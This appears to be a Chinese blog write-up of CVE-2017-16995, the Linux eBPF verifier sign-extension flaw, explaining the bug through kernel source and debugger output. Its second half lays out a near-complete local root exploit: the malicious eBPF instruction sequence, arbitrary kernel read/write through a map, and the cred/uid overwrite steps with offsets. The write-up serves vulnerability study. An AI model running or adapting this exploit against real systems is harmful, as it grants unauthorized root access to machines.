【CVE-2017-16995】Linux ebpf模块整数扩展问题导致提权漏洞分析

可对特定内核版本的ubuntu 16.04进行提权,本漏洞不包含堆栈攻击或控制流劫持,仅用系统调用数据进行提权,是Data-Oriented Attacks在linux内核上的一个典型应用。

v4.4.110在线阅读源码镜像和调试文件下载

一、技术分析

1. eBPF简介

众所周知,linux的用户层和内核层是隔离的,想让内核执行用户的代码,正常是需要编写内核模块,当然内核模块只能root用户才能加载。而BPF则相当于是内核给用户开的一个绿色通道:BPF(Berkeley Packet Filter)提供了一个用户和内核之间代码和数据传输的桥梁。用户可以用eBPF指令字节码的形式向内核输送代码,并通过事件(如往socket写数据)来触发内核执行用户提供的代码;同时以map(key,value)的形式来和内核共享数据,用户层向map中写数据,内核层从map中取数据,反之亦然。BPF设计初衷是用来在底层对网络进行过滤,后续由于他可以方便的向内核注入代码,并且还提供了一套完整的安全措施来对内核进行保护,被广泛用于抓包(tcpdump/wireshark)、内核probe、性能监控等领域。BPF发展经历了2个阶段,cBPF(classic BPF)eBPF(extend BPF)(linux内核3.15以后),cBPF已退出历史舞台,后文提到的BPF默认为eBPF。

2. eBPF虚拟指令系统

寄存器——eBPF虚拟指令系统属于RISC(每条指令长度一样),拥有10个虚拟寄存器,r0-r10,在实际运行时,虚拟机会把这10个寄存器一一对应于硬件CPU的10个物理寄存器,以x64为例,对应关系如下:

    R0 – rax (函数返回值)
    R1 - rdi (参数)
    R2 - rsi (参数)
    R3 - rdx (参数)
    R4 - rcx (参数)
    R5 - r8  (参数)
    R6 - rbx
    R7 - r13
    R8 - r14
    R9 - r15
    R10 – rbp(只读,栈指针,frame pointer)

指令格式如下:

struct bpf_insn {
    __u8    code;        /* opcode */
    __u8    dst_reg:4;    /* dest register */
    __u8    src_reg:4;    /* source register */
    __s16    off;        /* signed offset */
    __s32    imm;        /* signed immediate constant */
};

和seccomp类似,程序功能由code字节决定,最低3位表示大类功能,共7类大功能

#define BPF_CLASS,
(code) ((code) & 0x07)
#define		BPF_LD		0x00 
#define		BPF_LDX		0x01
#define		BPF_ST		0x02
#define		BPF_STX		0x03
#define		BPF_ALU		0x04
#define		BPF_JMP		0x05
#define		BPF_RET		0x06
#define		BPF_MISC  0x07

各大类功能可通过异或组成不同的新功能dst_reg代表目的寄存器,限制为0-10;src_reg代表目的寄存器,限制为0-10;off代表地址偏移;imm代表立即数。

例如一条简单的x86指令:mov esi,0xffffffff,对应BPF指令为BPF_MOV32_IMM(BPF_REG_2, 0xffffffff),对应数据结构为:

#define BPF_MOV32_IMM(DST, IMM)                    \
    ((struct bpf_insn) {                    \
        .code  = BPF_ALU | BPF_MOV | BPF_K,        \
        .dst_reg = DST,                    \
        .src_reg = 0,                    \
        .off   = 0,                    \
        .imm   = IMM })

在内存中的值为:\xb4\x02\x00\x00\xff\xff\xff\xff

编码解码器——参见p4nda师傅写的解码编码小工具,可以用来翻译或者辅助编写EBPF程序。

3.BPF加载过程

(1)syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr))—申请一个map结构,这个结构是用户态与内核态交互的一块共享内存,在attr结构体中指定map的类型、大小、最大容量。

内核态调用BPF_FUNC_map_lookup_elem查看map中的数据,用户态通过syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr))查看map中的数据。

syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr))—对map数据进行更新,而map根据linux特性,会将其视为一个文件,并分配一个文件描述符。

(2)syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr))—将用户编写的EBPF代码加载进入内核,采用模拟执行对代码进行合法性检查,attr结构体中包含了指令数量、指令首地址指针、日志级别等属性。

合法性检查包括对指定语法的检查、指令数量的检查、指令中的指针和立即数的范围及读写权限检查,禁止将内核中的地址暴露给用户空间,禁止对BPF程序stack之外的内核地址读写。安全校验通过后,程序被成功加载至内核,后续真正执行时,不再重复做检查。

(3)setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)—将我们写的BPF程序绑定到指定的socket上,progfd为上一步骤的返回值。

(4)用户程序通过操作上一步骤中的socket来触发BPF真正执行。此后对于每一个socket数据包执行EBPF代码进行检查,此时为真实执行。

例如

static void prep(void) {
	mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3);
	if (mapfd < 0)
		__exit(strerror(errno));
	puts("mapfd finished");
	progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,
			(struct bpf_insn *)__prog, PROGSIZE, "GPL", 0);//__prog代码

	if (progfd < 0)
		__exit(strerror(errno));
	puts("bpf_prog_load finished");
	if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets))
		__exit(strerror(errno));
	puts("socketpair finished");
	if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0)
		__exit(strerror(errno));
	puts("setsockopt finished");
}

4. 漏洞

本漏洞的原因是check函数和真正的函数的执行方法不一致导致的,主要问题是二者寄存器值类型不同。先看下面一段EBPF指令:

[0]: ALU_MOV_K(0,9,0x0,0xffffffff) /* r9 = (u32)0xFFFFFFFF   */
[1]: JMP_JNE_K(0,9,0x2,0xffffffff) /* if (r9 == -1) {        */
[2]: ALU64_MOV_K(0,0,0x0,0x0)      /*   exit(0);             */
[3]: JMP_EXIT(0,0,0x0,0x0)
[4]: ......
     ......
(1)安全检查

[0]—将0xffffffff赋值给r9寄存器,在do_check()安全检查函数中,[0]处会直接将0xffffffff赋值给r9,并将type赋值为IMM。

[1]—比较r9==0xffffffff,相等是就执行[2]、[3],不相等则跳到[4]。根据前文对退出的分析,这个地方在do_check()看来是一个恒等式(确定性跳转),不会将另一条路径压入stack,直接退出。do_check()返回成功。

check_cond_jmp_op() do_check()

// do_check() -> 对除开 class== BPF_JMP 类型的jmp(CALL/JA/EXIT),调用 check_cond_jmp_op()
/* detect if R == 0 where R was initialized to zero earlier */
	if (BPF_SRC(insn->code) == BPF_K &&
	    (opcode == BPF_JEQ || opcode == BPF_JNE) &&
	    regs[insn->dst_reg].type == CONST_IMM &&
	    regs[insn->dst_reg].imm == insn->imm) { //1.比较指令
		if (opcode == BPF_JEQ) {
			/* if (imm == imm) goto pc+off;
			 * only follow the goto, ignore fall-through
			 */
			*insn_idx += insn->off;
			return 0;
		} else {  // 2.跳转指令恒成立,不压栈目标指令(分支B永不执行),直接返回
			/* if (imm != imm) goto pc+off;
			 * only follow fall-through branch, since
			 * that's where the program will go
			 */
			return 0;
		}
	}
  // 3.非确定性跳转,把目标指令压入临时栈备用
	other_branch = push_stack(env, *insn_idx + insn->off + 1, *insn_idx);
	if (!other_branch)
		return -EFAULT;

虚拟寄存器中的imm与指令中提供的imm

//都为有符号整数,所以此处条件跳转条件恒成立,不会往临时栈中push分支B指令编号。
struct reg_state {
	enum bpf_reg_type type;
	union {
		/* valid when type == CONST_IMM | PTR_TO_STACK */
		int imm; //  <-------------- 有符号整数

		/* valid when type == CONST_PTR_TO_MAP | PTR_TO_MAP_VALUE |
		 *   PTR_TO_MAP_VALUE_OR_NULL
		 */
		struct bpf_map *map_ptr;
	};
};

/* BPF has 10 general purpose 64-bit registers and stack frame. */
#define MAX_BPF_REG	__MAX_BPF_REG

struct bpf_insn {
	__u8	code;		/* opcode */
	__u8	dst_reg:4;	/* dest register */
	__u8	src_reg:4;	/* source register */
	__s16	off;		/* signed offset */
	__s32	imm;		/* signed immediate constant *///<--------有符号整数
};

执行到EXIT指令。会从临时栈中尝试取指令(调用pop_stack函数),如果临时栈中有指令,那就说明还有其他可能执行到的分支,需要继续校验,如果取不到值,表示当前这条EXIT指令确实是BPF程序最后一条可以执行到的指令,此时pop_stack会返回-1,然后break跳出do_check校验循环,do_check执行结束,校验通过。

// do_check()
else if (opcode == BPF_EXIT) {
				if (BPF_SRC(insn->code) != BPF_K ||
				    insn->imm != 0 ||
				    insn->src_reg != BPF_REG_0 ||
				    insn->dst_reg != BPF_REG_0) {
					verbose("BPF_EXIT uses reserved fields\n");
					return -EINVAL;
				}

				/* eBPF calling convetion is such that R0 is used
				 * to return the value from eBPF program.
				 * Make sure that it's readable at this time
				 * of bpf_exit, which means that program wrote
				 * something into it earlier
				 */
				err = check_reg_arg(regs, BPF_REG_0, SRC_OP);
				if (err)
					return err;

				if (is_pointer_value(env, BPF_REG_0)) {
					verbose("R0 leaks addr as return value\n");
					return -EACCES;
				}

process_bpf_exit:
				insn_idx = pop_stack(env, &prev_insn_idx); //弹出指令
				if (insn_idx < 0) {
					break;   // 返回-1,表示没有指令
				} else {
					do_print_state = true;
					continue;
				}
  ......
  return 0;
(2)真实执行

真实执行的时候,由于一个符号扩展的bug,导致 [1] 中的等式不成立,于是cpu就跳转到第5条指令继续执行,这里是漏洞产生的根因,这4条指令,可以绕过BPF的代码安全检查。既然安全检查被绕过了,用户就可以随意往内核中注入代码了,提权就水到渠成了:先获取到task_struct的地址,然后定位到cred的地址,然后定位到uid的地址,然后直接将uid的值改为0,然后启动/bin/bash。

而在真实执行的过程中,由于寄存器类型不一样,在执行[1]时存在问题:

__bpf_prog_run()

//bpf_prog_load() -> bpf_prog_select_runtime()真实执行 -> __bpf_prog_run()    真实执行中对JMP_JNE_K指令的定义
JMP_JNE_K:
	if (DST != IMM) {
		insn += insn->off;
		CONT_JMP;
	}
	CONT;

//其中DST为目标寄存器,IMM为立即数。很显然,符号两边数据类型不一致,导致条件跳转语句的结果完全相反。
//DST
#define DST	regs[insn->dst_reg]  ///kernel/bpf/core.c#L47
static unsigned int __bpf_prog_run(void *ctx, const struct bpf_insn *insn)
{
	u64 stack[MAX_BPF_STACK / sizeof(u64)];
	u64 regs[MAX_BPF_REG], tmp;    // 是u64类型,无符号64位
//IMM
#define IMM	insn->imm            // /kernel/bpf/core.c#L52
struct bpf_insn {
	__u8	code;		/* opcode */
	__u8	dst_reg:4;	/* dest register */
	__u8	src_reg:4;	/* source register */
	__s16	off;		/* signed offset */
	__s32	imm;		/* signed immediate constant *///<--------有符号整数
};

看汇编更明显:

0xffffffff81173bad <__bpf_prog_run+1565>    mov    qword ptr [rbp + rax*8 - 0x278], rdi
   0xffffffff81173bb5 <__bpf_prog_run+1573>    movzx  eax, byte ptr [rbx]
   0xffffffff81173bb8 <__bpf_prog_run+1576>    jmp    qword ptr [r12 + rax*8]
    ↓
   0xffffffff81173e7b <__bpf_prog_run+2283>    movzx  eax, byte ptr [rbx + 1]
   0xffffffff81173e7f <__bpf_prog_run+2287>    movsxd rdx, dword ptr [rbx + 4]
 ► 0xffffffff81173e83 <__bpf_prog_run+2291>    and    eax, 0xf
   0xffffffff81173e86 <__bpf_prog_run+2294>    cmp    qword ptr [rbp + rax*8 - 0x278], rdx
   0xffffffff81173e8e <__bpf_prog_run+2302>    je     __bpf_prog_run+5036 <0xffffffff8117493c>
 
   0xffffffff81173e94 <__bpf_prog_run+2308>    movsx  rax, word ptr [rbx + 2]
   0xffffffff81173e99 <__bpf_prog_run+2313>    lea    rbx, [rbx + rax*8 + 8]
   0xffffffff81173e9e <__bpf_prog_run+2318>    movzx  eax, byte ptr [rbx]
───────────────────────────────────[ BACKTRACE ]────────────────────────────────────
 ► f 0 ffffffff81173e83 __bpf_prog_run+2291
   f 1 ffffffff817272bc sk_filter_trim_cap+108
   f 2 ffffffff817272bc sk_filter_trim_cap+108
   f 3 ffffffff817b824a unix_dgram_sendmsg+586
   f 4 ffffffff817b824a unix_dgram_sendmsg+586
   f 5 ffffffff816f4728 sock_sendmsg+56
   f 6 ffffffff816f4728 sock_sendmsg+56
   f 7 ffffffff816f47c5 sock_write_iter+133
   f 8 ffffffff8120cf59 __vfs_write+201
   f 9 ffffffff8120cf59 __vfs_write+201
   f 10 ffffffff8120d5d9 vfs_write+169
pwndbg> i r rdx
rdx            0xffffffffffffffff	-1
pwndbg> x /gx $rbx+4
0xffffc90000099034:	0x000000b7ffffffff
pwndbg>

可以看到汇编指令被翻译成movsxd,而此时会发生符号扩展,由原来的0xffffffff扩展成0xffffffffffffffff,再次比较的时候二者并不相同,造成了跳转到[4]处执行,从而绕过了对[4]以后EBPF程序的校验。


二、漏洞利用

思路:[4]以后的程序不经过check,就可以任意执行指令,可构造任意地址读写。也即提前构造3个map,分别放置3个值,然后读到r6/r7/r8寄存器中(r6为0表示任意读,把r7指向的值读到r8;r6为1表示读rbp,泄露内核栈地址;r6为2表示任意写,把r8写到r7地址)。

[0]: ALU_MOV_K(0,9,0x0,0xffffffff) /* r9 = (u32)0xFFFFFFFF   */
[1]: JMP_JNE_K(0,9,0x2,0xffffffff) /* if (r9 == -1) {        */
[2]: ALU64_MOV_K(0,0,0x0,0x0)      /*   exit(0);             */
[3]: JMP_EXIT(0,0,0x0,0x0)
[4]: LD_IMM_DW(1,9,0x0,0x3)        /* r9=mapfd               */
[5]: maybe padding // 以存放mapfd地址

//1.BPF_MAP_GET(0, BPF_REG_6)  r6=op,取map的第1个元素放到r6
[6]: ALU64_MOV_X(9,1,0x0,0x0)      /* r1 = r9                */
[7]: ALU64_MOV_X(10,2,0x0,0x0)     /* r2 = fp                */
[8]: ALU64_ADD_K(0,2,0x0,0xfffffffc)/* r2 = fp - 4            */
[9]: ST_MEM_W(0,10,0xfffc,0x0)     /* *(u32 *)(fp - 4) = 0 */
[10]: JMP_CALL(0,0,0x0,0x1)//BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem)
[11]: JMP_JNE_K(0,0,0x1,0x0)      /* if (r0 == 0)           */
[12]: JMP_EXIT(0,0,0x0,0x0)       /*   exit(0);             */
[13]: LDX_MEM_DW(0,6,0x0,0x0)     /* r6 = *(u64 *)(r0)   */

//2.BPF_MAP_GET(1, BPF_REG_7)  r7=address,取map的第2个元素放到r7
[14]: ALU64_MOV_X(9,1,0x0,0x0)    /* r1 = r9                */
[15]: ALU64_MOV_X(10,2,0x0,0x0)   /* r2 = fp                */
[16]: ALU64_ADD_K(0,2,0x0,0xfffffffc)/* r2 = fp - 4            */
[17]: ST_MEM_W(0,10,0xfffc,0x1)   /* *(u32 *)(fp - 4) = 1 */
[18]: JMP_CALL(0,0,0x0,0x1)//BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem)
[19]: JMP_JNE_K(0,0,0x1,0x0)      /* if (r0 == 0)           */
[20]: JMP_EXIT(0,0,0x0,0x0)       /*   exit(0);             */
[21]: LDX_MEM_DW(0,7,0x0,0x0)     /* r7 = *(u64 *)(r0)   */

//3.#BPF_MAP_GET(2, BPF_REG_8)  r8=value,取map的第3个元素放到r8
[22]: ALU64_MOV_X(9,1,0x0,0x0)    /* r1 = r9                */
[23]: ALU64_MOV_X(10,2,0x0,0x0)   /* r2 = fp                */
[24]: ALU64_ADD_K(0,2,0x0,0xfffffffc)/* r2 = fp - 4            */
[25]: ST_MEM_W(0,10,0xfffc,0x2)   /* *(u32 *)(fp - 4) = 2 */
[26]: JMP_CALL(0,0,0x0,0x1)//#BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem)
[27]: JMP_JNE_K(0,0,0x1,0x0)      /* if (r0 == 0)           */
[28]: JMP_EXIT(0,0,0x0,0x0)       /*   exit(0);             */
[29]: LDX_MEM_DW(0,8,0x0,0x0)     /* r8 = *(u64 *)(r0)   */

[30]: ALU64_MOV_X(0,2,0x0,0x0)    /* r2 = r0               */
[31]: ALU64_MOV_K(0,0,0x0,0x0)    /* r0 = 0  for exit(0)   */
[32]: JMP_JNE_K(0,6,0x3,0x0)      /* if (r6 != 0) jmp to 36 */
[33]: LDX_MEM_DW(7,3,0x0,0x0)     /* r3 = [r7]             */
[34]: STX_MEM_DW(3,2,0x0,0x0)     /* [r2] = r3             */
[35]: JMP_EXIT(0,0,0x0,0x0)       /* exit(0)               */
[36]: JMP_JNE_K(0,6,0x2,0x1)      /* if (r6 != 1) jmp to 39 */
[37]: STX_MEM_DW(10,2,0x0,0x0)    /* [r2]=rbp             */
[38]: JMP_EXIT(0,0,0x0,0x0)       /* exit(0);             */
[39]: STX_MEM_DW(8,7,0x0,0x0)     /* [r7]=r8              */
[40]: JMP_EXIT(0,0,0x0,0x0)       /* exit(0);             */

1. 指令分析

[4]-[5]:由bpf代码阅读可知,获取mapfd地址,[5]是填充;完成后map地址复制给r9。

[6]-[13]:调用BPF_FUNC_map_lookup_elem(map_add,idx),并将返回值存到r6寄存器中,即r6=map[0]。

[14]-[21]:r7=map[1]。

[22]-[29]:r8=map[2]。 map[0]/map[1]/map[2]用户可控。

[30]-[40]:map[0]==0,将map[1]指向的值写入map[2],任意读;map[0]==1,将rbp值写入map[2],泄露栈地址;map[0]==2,将map[2]写入map[1]地址中,任意写。

2.利用步骤

1.申请一个MAP,长度为3;
2.这个MAP的第一个元素为操作指令,第2个元素为需要读写的内存地址,第3个元素用来存放读取到的内容。此时这个MAP相当于一个CC,3个元素组成一个控制指令。
3.组装一个指令,读取内核的栈地址 addr。根据内核栈地址获取到current的地址(addr & ~(0x4000 - 1))。
4.读current结构体的第一个成员,获得task_struct的地址,继而加上cred的偏移(task_struct_addr+0x5f8)得到cred地址,最终获取到uid的地址(cred_addr+4)。
5.组装一个写指令,向上一步获取到的uid地址写入0.
6.启动新的bash进程,该进程的uid为0,提权成功。

说明:我理解的current指针实际上就是内核栈最低地址,最低地址存放thread_info结构,thread_info结构第一个成员是task_struct指针。

Exp中就是按照如上的攻击路径来提权的,申请完map之后,首先发送获取内核栈地址的指令,如下:

bpf_update_elem(0, 1);
bpf_update_elem(1, 0);
bpf_update_elem(2, 0);

然后通过调用writemsg触发BPF程序运行。

//漏洞利用伪代码:
update_map_012(1,0,0); 
stack_addr= get_map(2);                   // 0xffff8800758c3c88
current_addr=stack_addr  & ~(0x4000 - 1); // 0xffff8800758c0000
update_map_012(0,current_addr,0);
task_addr = get_map(2);                   // 0xffff880074343c00              
update_map_012(0,task_addr+0x5f8,0);        
cred_addr = get_map(2)+0x4;               // 0xffff880074cb5e00+4
update_map_012(2,cred_addr,0);            // 提权!

3.问题

注意:

  • cred地址偏移可能不同。4.4.0-116-generic中是0x5f8v4.4.110中是0x9b8
  • uid地址偏移可能不同。
  • 修改uid时,修改24字节才能真正执行特权操作(如cat /proc/kallsyms)。

命令:

# gdb中查找偏移(需符号信息)
pwndbg> p &(*(struct task_struct *)0).cred
$2 = (const struct cred **) 0x9b8 <irq_stack_union+2488>
pwndbg> p &(*(struct cred *)0).uid
$3 = (kuid_t *) 0x4 <irq_stack_union+4>
# gdb中确认偏移
(gdb) p ((struct task_struct *)0xffff880074343c00)->cred
$16 = (const struct cred *) 0xffff880074cb5e00
(gdb) p &((struct task_struct *)0xffff880074343c00)->cred
$17 = (const struct cred **) 0xffff8800743441f8
(gdb) x/10x 0xffff880074343c00+0x5f8
0xffff8800743441f8: 0x74cb5e00 0xffff8800#和0xffff880074cb5e00一致

参考:

http://p4nda.top/2019/01/18/CVE-2017-16995/

https://www.cnblogs.com/rebeyond/p/8921307.html

posted on 2019-09-25 10:55  bsauce  阅读(874)  评论(0编辑  收藏  举报